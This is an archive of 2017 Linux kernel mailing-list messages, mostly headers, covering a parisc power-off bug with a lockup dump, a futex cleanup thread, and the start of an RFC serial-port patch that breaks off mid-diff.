 <926005BA-0712-4D52-8995-E9FEDB5F890E@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1494962565 22572 195.159.176.226 (16 May 2017 19:22:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 16 May 2017 19:22:45 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.8.0
Cc: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 16 21:22:35 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dAi3G-0007vp-EU
	for glpp-linux-parisc@m.gmane.org; Tue, 16 May 2017 21:22:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751724AbdEPTWk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 16 May 2017 15:22:40 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:52757 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751619AbdEPTWj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 16 May 2017 15:22:39 -0400
Original-Received: from [192.168.20.60] ([193.159.23.211]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MZCUG-1dR9VM0Bo4-00L14t; Tue, 16
 May 2017 21:22:32 +0200
In-Reply-To: <926005BA-0712-4D52-8995-E9FEDB5F890E@bell.net>
X-Provags-ID: V03:K0:uLy0n1CaKoa7ASrSUtiSs+XUif4eLs4x59tz7pJTUzZcxKP9O9g
 azjf4kv1zwjIrxQT2QpK6OV6pqDVZ6Kf3NyaWBP4vbKdi8E8TPne24EU67XLbuPYZnMswjk
 7moX3dMnP1/eQh0i/RyJc0vh6ijqU6MeBmgHFY02m2G5mUOdhjhTegypgUDPLMGf9O6+Mnf
 dMw1POI80PR8w5tHDj/lA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:yLnHANbtPZ4=:xG8/HX9BkxrBmMmY0v0iMV
 kbzCDiDu5UK30HXkCdq9fgnKgmoAnDp1m1EgD9XOhkKGtMR+JCGwmR/2bxs5P8lFA0Z8BJHwy
 uXW6ZbjUmdivdrDwC11rA3v68W4DDIxfSgGzjvRLpnRkgJ94g+UiGwn8B8cjoYR2qQXJQDaQ0
 mfnu9BjAVE1mygAofE/IPnROJwvZ7lBC70cT5uhwh4huEg63IKMSaA0xSaDNJFktW7p11b4v5
 zURwX3jlPvJQHnDzfjzSdblSUsm8BKKj/4eSoKcNrh+00t6pgU7qjxYbK6U2q/zwXXiP/x0Ni
 T/9HMM/nhs4B9sCfzqaBHCZJ+4kEGBQcSO1nXmhTX8sopY0NskUwtiifQ/UDmgFY+BWKZxTfV
 j6SUG0hVwRDK9qIQiA6hZNCUDPxhSenxp5+Y0tXReUmWoFOUKALrRAqjQXTnC2ZozwfXIkK7u
 TFLAD/d9vBkKpgkess1zbn3K/n0Lc/boW/bvAfYbyaQRwQReGMuh0MvDrsZxGRKLj2q6dmmPY
 88UU2ozDPrj0YlDolG5+YJ3fD9ncEkLdP1NTCsLv+Qmbza7Wj61X4BClZYDLYGkinjXnrm7TQ
 YV7frk9WlKALB3nlJdDDKiLKlx7SxrdoiReidjMvujGUi5hcXmGQi/gc3NeGR+82erNpaJh2J
 cAXcNz17/z3aOBmKUUMllBzqi21Pqc/v5Ikv113rM8pdr1HCX4NZ68uGMGEl9HmSY4E+e5VSw
 +kD7IWmI5b3PvKqI2xRPl8xCYUBQ4su0Xx0SobHnVVPn3g5vs3NIjEnMG860GrsszEaG5H/9 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27420
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27420>

On 16.05.2017 02:29, John David Anglin wrote:
> On 2017-05-15, at 3:39 AM, Helge Deller wrote:
> 
>> Anyway, I did included an updated patch [1] in my last git pull request to Linus (which actually
>> didn't made it into 4.12...).
>> Can you test this one instead?
> 
> I still see same behavior.
> (After the system prints the message that it is okay to power off, 
> the front panel LED shows a flashing red, and pressing the power 
> button once doesn't power the system down. Pressing it again 
> causes the system to reboot.

I'll probably drop the patch then.
I didn't noticed that myself because I turn off/on the machine
via a remote power plug (via USB connected to a x86).

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Stop CPUs via PAT firmware before system halt or reboot.
Date: Tue, 16 May 2017 20:47:09 -0400
Lines: 64
Approved: news@gmane.org
Message-ID: <9F3482D3-C4C0-42F5-9675-857365865924@bell.net>
References: <20170512165513.GA23551@ls3530.fritz.box> <267CAD7B-3DB7-457E-8A82-2CFB2FF07587@bell.net> <eb437932-ad37-b6d4-0035-edcf76538424@gmx.de> <926005BA-0712-4D52-8995-E9FEDB5F890E@bell.net> <cdeeccf5-653f-2b99-5370-707b2862e46a@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1494982034 8117 195.159.176.226 (17 May 2017 00:47:14 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 17 May 2017 00:47:14 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 17 02:47:08 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dAn7K-0000B6-Bb
	for glpp-linux-parisc@m.gmane.org; Wed, 17 May 2017 02:47:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751957AbdEQArM convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 16 May 2017 20:47:12 -0400
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:48054 "EHLO
        mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1750950AbdEQArL (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 16 May 2017 20:47:11 -0400
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20170517004710.LMRK12242.mtlfep01.bell.net@mtlspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Tue, 16 May 2017 20:47:10 -0400
Original-Received: from [192.168.2.25] (really [70.31.74.123]) by mtlspm01.bell.net
          with ESMTP
          id <20170517004710.MDFC23205.mtlspm01.bell.net@[192.168.2.25]>;
          Tue, 16 May 2017 20:47:10 -0400
In-Reply-To: <cdeeccf5-653f-2b99-5370-707b2862e46a@gmx.de>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=MOePoIRl c=1 sm=0 tr=0 a=CP4CeFkTTpGPfaygvaSIJA==:17 a=kj9zAlcOel0A:10 a=tJ8p9aeEuA8A:10 a=FBHGMhGWAAAA:8 a=DUi9993vHHZkSKFq3YAA:9 a=CjuIK1q_8ugA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27421
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27421>

On 2017-05-16, at 3:22 PM, Helge Deller wrote:

> On 16.05.2017 02:29, John David Anglin wrote:
>> On 2017-05-15, at 3:39 AM, Helge Deller wrote:
>> 
>>> Anyway, I did included an updated patch [1] in my last git pull request to Linus (which actually
>>> didn't made it into 4.12...).
>>> Can you test this one instead?
>> 
>> I still see same behavior.
>> (After the system prints the message that it is okay to power off, 
>> the front panel LED shows a flashing red, and pressing the power 
>> button once doesn't power the system down. Pressing it again 
>> causes the system to reboot.
> 
> I'll probably drop the patch then.
> I didn't noticed that myself because I turn off/on the machine
> via a remote power plug (via USB connected to a x86).

I did a new kernel build after reverting change and tried "shutdown -h +0":

reboot: Power down                                                              
System shut down completed.                                                     
Please power this system off now.                                               
NMI watchdog: BUG: soft lockup - CPU#0 stuck for 23s! [halt:2906]               
Modules linked in: ext2 ipv6 sg ext4 crc16 jbd2 mbcache sd_mod ohci_pci pata_sid
CPU: 0 PID: 2906 Comm: halt Not tainted 4.10.16+ #1                             
task: 000000007e5a6b30 task.stack: 000000007f140000                             
                                                                                
     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI                                           
PSW: 00001000001011001111111100001111 Not tainted                               
r00-03  000000ff082cff0f 00000000406cf700 0000000040170870 000000007f140360     
r04-07  00000000406a5700 000000004321fedc 0000000028121969 0000000000000000     
r08-11  fffffffffee1dead 0000000000000000 0000000000013318 0000000000000000     
r12-15  0000000000000001 0000000000000001 0000000000000001 0000000000000001     
r16-19  0000000000000001 0000000000000000 00000000fffffff6 0000000000000000     
r20-23  0000000000000001 00000000000001c1 0000000000000000 00000000408d37d5     
r24-27  0000000000000000 000000000800000f 0000000040835c60 00000000406a5700     
r28-31  000000004080a784 000000007f1403b0 000000007f1403e0 0000000000000002     
sr00-03  000000000063f000 0000000000000000 0000000000000000 000000000063f000    
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000    
                                                                                
IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040170874 0000000040170870 
 IIR: 00000000    ISR: 000000000000003d  IOR: 00000000408d3332                  
 CPU:        0   CR30: 000000007f140000 CR31: ffffffffffffffff                  
 ORIG_R28: 00000000401e9ce0                                                     
 IAOQ[0]: machine_power_off+0x8c/0x90                                           
 IAOQ[1]: machine_power_off+0x88/0x90                                           
 RP(r2): machine_power_off+0x88/0x90                                            
Backtrace:                                                                      

Can we kill NMI watch dog?

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Jiri Slaby <jslaby@suse.cz>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 1/1] futex: remove duplicated code
Date: Wed, 17 May 2017 10:01:29 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <14580dfc-9721-38ab-a1e0-6b4aba13b406@suse.cz>
References: <20170515130742.18357-1-jslaby@suse.cz>
 <20170515131644.GA3605@arm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-2
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1495008103 15848 195.159.176.226 (17 May 2017 08:01:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 17 May 2017 08:01:43 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.1.0
Cc: tglx@linutronix.de, linux-kernel@vger.kernel.org,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Vineet Gupta <vgupta@synopsys.com>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        Jonas Bonn <jonas@southpole.se>,
        Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
        Stafford Horne <shorne@gmail.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
To: Will Deacon <will.deacon@arm.com>
Original-X-From: linux-alpha-owner@vger.kernel.org Wed May 17 10:01:33 2017
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1dAttk-0001xu-0e
	for lnx-linux-alpha@m.gmane.org; Wed, 17 May 2017 10:01:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752849AbdEQIBh (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
        Wed, 17 May 2017 04:01:37 -0400
Original-Received: from mail-wm0-f66.google.com ([74.125.82.66]:32897 "EHLO
        mail-wm0-f66.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752300AbdEQIBf (ORCPT
        <rfc822;linux-alpha@vger.kernel.org>);
        Wed, 17 May 2017 04:01:35 -0400
Original-Received: by mail-wm0-f66.google.com with SMTP id y10so1549230wmh.0;
        Wed, 17 May 2017 01:01:33 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:subject:to:cc:references:from:message-id:date
         :user-agent:mime-version:in-reply-to:content-language
         :content-transfer-encoding;
        bh=v47gPsja80Gzc8LoofWVSouSiN0IcGQQ6vS4DVEatvs=;
        b=nXwkfmsdW8gl5c9OmYUqCIt/0Md5BIzWR2FPk4TUDly4osPP6o6fAFWvvG7lLNrk+s
         26JaPTRE19zLzoYtkQkcsQgM3pcxeDfyysLQvHqO1o3iy85ku3wlkbvOqKihoFA70P6m
         /h5ZdZhd7AJ3QRvLah/t4ZoAo2hKO9MEEvQnVDsO4Gdfx/oaZCxM7St45NeebVywzQBJ
         iuLHqFmNDcvuuCmZo3xC27UNGJu9sAI+rfIm7ELvWxs6J8ZNCNirzpiourXvqFhTLOC/
         Xn+Iqx00Wv+QqIwRoEJCjD6I2eWoKV0VZ9NuU88Y48fUTdB1GeT7TSsE9KRXLjhJVXpT
         YjMA==
X-Gm-Message-State: AODbwcAX630cn7WA0rFtGiXPrSkApeqh4ktbN0sNRHELIIJdoOjwaPLN
        +fVmw6WnpHmMBA==
X-Received: by 10.28.68.195 with SMTP id r186mr1429209wma.22.1495008092883;
        Wed, 17 May 2017 01:01:32 -0700 (PDT)
Original-Received: from ?IPv6:2a01:4240:2e27:ad85:aaaa::19f? (f.9.1.0.0.0.0.0.0.0.0.0.a.a.a.a.5.8.d.a.7.2.e.2.0.4.2.4.1.0.a.2.v6.cust.nbox.cz. [2a01:4240:2e27:ad85:aaaa::19f])
        by smtp.gmail.com with ESMTPSA id x9sm1621493wmb.21.2017.05.17.01.01.30
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 17 May 2017 01:01:31 -0700 (PDT)
In-Reply-To: <20170515131644.GA3605@arm.com>
Content-Language: en-GB
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:4189 gmane.linux.kernel:2476586 gmane.linux.kernel.arc:2388 gmane.linux.ports.arm.kernel:578076 gmane.linux.ports.hexagon:1193 gmane.linux.ports.ia64:27800 gmane.linux.ports.mips.general:59057 gmane.linux.ports.parisc:27422 gmane.linux.ports.ppc64.devel:142227 gmane.linux.ports.sh.devel:55239 gmane.linux.ports.sparc:25046 gmane.linux.kernel.cross-arch:36471
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/4189>

On 05/15/2017, 03:16 PM, Will Deacon wrote:
> Whilst I think this is a good idea, the code in question actually results
> in undefined behaviour per the C spec and is reported by UBSAN.

Hi, yes, I know -- this patch was the 1st from the series of 3 which I
sent a long time ago to fix that up too. But I remember your patch, so I
sent only this one this time.

> See my
> patch fixing arm64 here (which I'd forgotten about):
> 
> https://www.spinics.net/lists/linux-arch/msg38564.html
> 
> But, as stated in the thread above, I think we should go a step further
> and remove FUTEX_OP_{OR,ANDN,XOR,OPARG_SHIFT} altogether. They don't
> appear to be used by userspace, and this whole thing is a total mess.
> 
> Any thoughts?

Ok, I am all for that. I think the only question is who is going to do
the work and submit it :)? Do I understand correctly to eliminate all
these functions and the path into the kernel? But won't this break API
-- are there really no users of this interface?

thanks,
-- 
js
suse labs
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Will Deacon <will.deacon@arm.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH 1/1] futex: remove duplicated code
Date: Thu, 18 May 2017 18:30:10 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <20170518173010.GK21359@arm.com>
References: <20170515130742.18357-1-jslaby@suse.cz>
 <20170515131644.GA3605@arm.com>
 <14580dfc-9721-38ab-a1e0-6b4aba13b406@suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1495128617 24474 195.159.176.226 (18 May 2017 17:30:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 18 May 2017 17:30:17 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: tglx@linutronix.de, linux-kernel@vger.kernel.org,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Vineet Gupta <vgupta@synopsys.com>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        Jonas Bonn <jonas@southpole.se>,
        Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
        Stafford Horne <shorne@gmail.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
To: Jiri Slaby <jslaby@suse.cz>
Original-X-From: linux-arch-owner@vger.kernel.org Thu May 18 19:30:10 2017
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1dBPFZ-0004yr-3P
	for glka-linux-arch@m.gmane.org; Thu, 18 May 2017 19:30:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754870AbdERRaN (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
        Thu, 18 May 2017 13:30:13 -0400
Original-Received: from foss.arm.com ([217.140.101.70]:34896 "EHLO foss.arm.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754853AbdERRaL (ORCPT <rfc822;linux-arch@vger.kernel.org>);
        Thu, 18 May 2017 13:30:11 -0400
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
        by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id A9DEC344;
        Thu, 18 May 2017 10:30:10 -0700 (PDT)
Original-Received: from edgewater-inn.cambridge.arm.com (usa-sjc-imap-foss1.foss.arm.com [10.72.51.249])
        by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPA id 766BC3F41F;
        Thu, 18 May 2017 10:30:10 -0700 (PDT)
Original-Received: by edgewater-inn.cambridge.arm.com (Postfix, from userid 1000)
        id F0B271AE38BF; Thu, 18 May 2017 18:30:10 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <14580dfc-9721-38ab-a1e0-6b4aba13b406@suse.cz>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:36505 gmane.linux.kernel:2478342 gmane.linux.ports.alpha:4191 gmane.linux.kernel.arc:2394 gmane.linux.ports.arm.kernel:578511 gmane.linux.ports.hexagon:1194 gmane.linux.ports.ia64:27801 gmane.linux.ports.mips.general:59062 gmane.linux.ports.parisc:27423 gmane.linux.ports.ppc64.devel:142275 gmane.linux.ports.sh.devel:55242 gmane.linux.ports.sparc:25054
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/36505>

On Wed, May 17, 2017 at 10:01:29AM +0200, Jiri Slaby wrote:
> On 05/15/2017, 03:16 PM, Will Deacon wrote:
> > Whilst I think this is a good idea, the code in question actually results
> > in undefined behaviour per the C spec and is reported by UBSAN.
> 
> Hi, yes, I know -- this patch was the 1st from the series of 3 which I
> sent a long time ago to fix that up too. But I remember your patch, so I
> sent only this one this time.
> 
> > See my
> > patch fixing arm64 here (which I'd forgotten about):
> > 
> > https://www.spinics.net/lists/linux-arch/msg38564.html
> > 
> > But, as stated in the thread above, I think we should go a step further
> > and remove FUTEX_OP_{OR,ANDN,XOR,OPARG_SHIFT} altogether. They don't
> > appear to be used by userspace, and this whole thing is a total mess.
> > 
> > Any thoughts?
> 
> Ok, I am all for that. I think the only question is who is going to do
> the work and submit it :)? Do I understand correctly to eliminate all
> these functions and the path into the kernel? But won't this break API
> -- are there really no users of this interface?

That's the million-dollar question, really. I don't know of any code using
it, and I couldn't find any when I looked (also nothing reported by Debian
Codesearch afaict), but I was hoping linux-arch might have some thoughts
on this too.

For now, I'll queue my arm64 patch before I forget about it again!

Will


From - Thu Nov 08 21:39:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [RFC][PATCH] parisc: Ignore AUX port of DIVA on rp34xx machines
Date: Sun, 21 May 2017 23:16:23 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <20170521211623.GA22326@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1495401398 18868 195.159.176.226 (21 May 2017 21:16:38 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 21 May 2017 21:16:38 +0000 (UTC)
User-Agent: Mutt/1.8.0 (2017-02-23)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 21 23:16:32 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dCYDF-0004jq-UU
	for glpp-linux-parisc@m.gmane.org; Sun, 21 May 2017 23:16:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1757006AbdEUVQf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 21 May 2017 17:16:35 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:56601 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1756987AbdEUVQe (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 21 May 2017 17:16:34 -0400
Original-Received: from ls3530.fritz.box ([193.159.21.211]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0M8axL-1e7gyX2wSp-00wE98; Sun, 21
 May 2017 23:16:26 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:vAUPrvhjnpZEng203gNJFRg1S8NlorntmK0pL1PPh8nzqTgZaao
 4/OkevEONCgRNud9OT93LxJqyXHefPZYcGydb3EHrkQaUG6BbMfmoayG8yJ5Gpqf12YXFYu
 PdGa987T1Bqf19oi23ZHSV3DziJM8xewVU+g48R8zmX+iEo3OlJtEi8Nd5OyNWAVTNV7v4n
 7S/ByrO1iHyo2fwL74Wxg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:EygX6YRZYvQ=:fQOzjcMIVhZjl1993aPjLd
 E6O7jNNv4eaVFwVbq07BlwgxKRX1q6AVJe/zNuexaSCv74xuwnPAoqwIlmSOF4z3po6c0Hi0f
 FTWYWwlJj6gDyaZtTPpNMh3mVmfSqAHDfRLnSGwYGIW5REKrJeAC3J2ZUiMwgKdEZFcHybYzv
 QUnm9/m7DHSCG3+g7uu+Sat+mw1v5KT23jAbL/gRehlLEYgmqA4KWwEhdJtp1Pw/FrDEnTwa/
 3sIGjwzC3OxRV0ZRndtpgZvrq9UADm7CgAr/x24vDbIjd3xUq6ei9WHWWJ7ADmGg/+d7EBq0m
 dIMxO5aIXMP67ydVqCVlInluvOAe85JT1B89T8qTEZAxLT+7+hZmssL3bQ7KRDxy2HxopYP04
 e00dVU2A+YyHIa22LuTZbzr1H51NnxLATnHkGjNdr6+REMrYntPnOtNSqYm4eqZMW5B6Lv6Bk
 lvZcmkTonsOAhpxvBxtbniA1mdZOONIkJiytrioIy4VMNHuaKwYDEmnBPBg4PR4Ej86WtUQ6N
 MOJewShDMHa+fbKHkdCCERZJRcV9lEXLNRYXHzQ+PrCKaaPHt5BFIvsqkQJmdOyUhoQuoWz+u
 pO4XiWtW0qlXjSfLzeW5klgIsdPfc0c7ja0j7EBqsNg9cucg/hK3EMcmlKlBV+E2iwb5INquv
 UHJ/y8YMN+mYgfteOjNMqabsTeT3t2JtBATe3waabRHECuCsBVn/JC/zQGBmm7brVjAKw9XyY
 9qTMqMp5rmymnGFe6UeQdiG2tF3iKtd9fKLTfdLFPA1+bwt5NtoJnTYb7WI=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27425
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27425>

On rp34xx machines Linux detects the AUX port of the DIVA GSP card (PCI
subsystem id 0x1291) before the console port of DIVA GSP and as such the
AUX port becomes ttyS0 and the console port becomes ttyS1.  Since the
palo bootloader by default sets the console output to ttyS0 if no
keyboard & monitor is attached, all Linux kernel boot messages get lost.

Avoid this problem by ignoring the AUX port. There is no external serial
port connector for AUX, so we won't miss this serial port either.

(RFC, patch untested)

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/8250/8250_pci.c
index 22d32d2..98261aa 100644
--- a/drivers/tty/serial/8250/8250_pci.c
+++ b/drivers/tty/serial/8250/8250_pci.c
@@ -174,6 +174,9 @@ static int pci_hp_diva_init(struct pci_dev *dev)
 	case PCI_DEVICE_ID_HP_DIVA_HURRICANE:
 		rc = 1;
 		break;
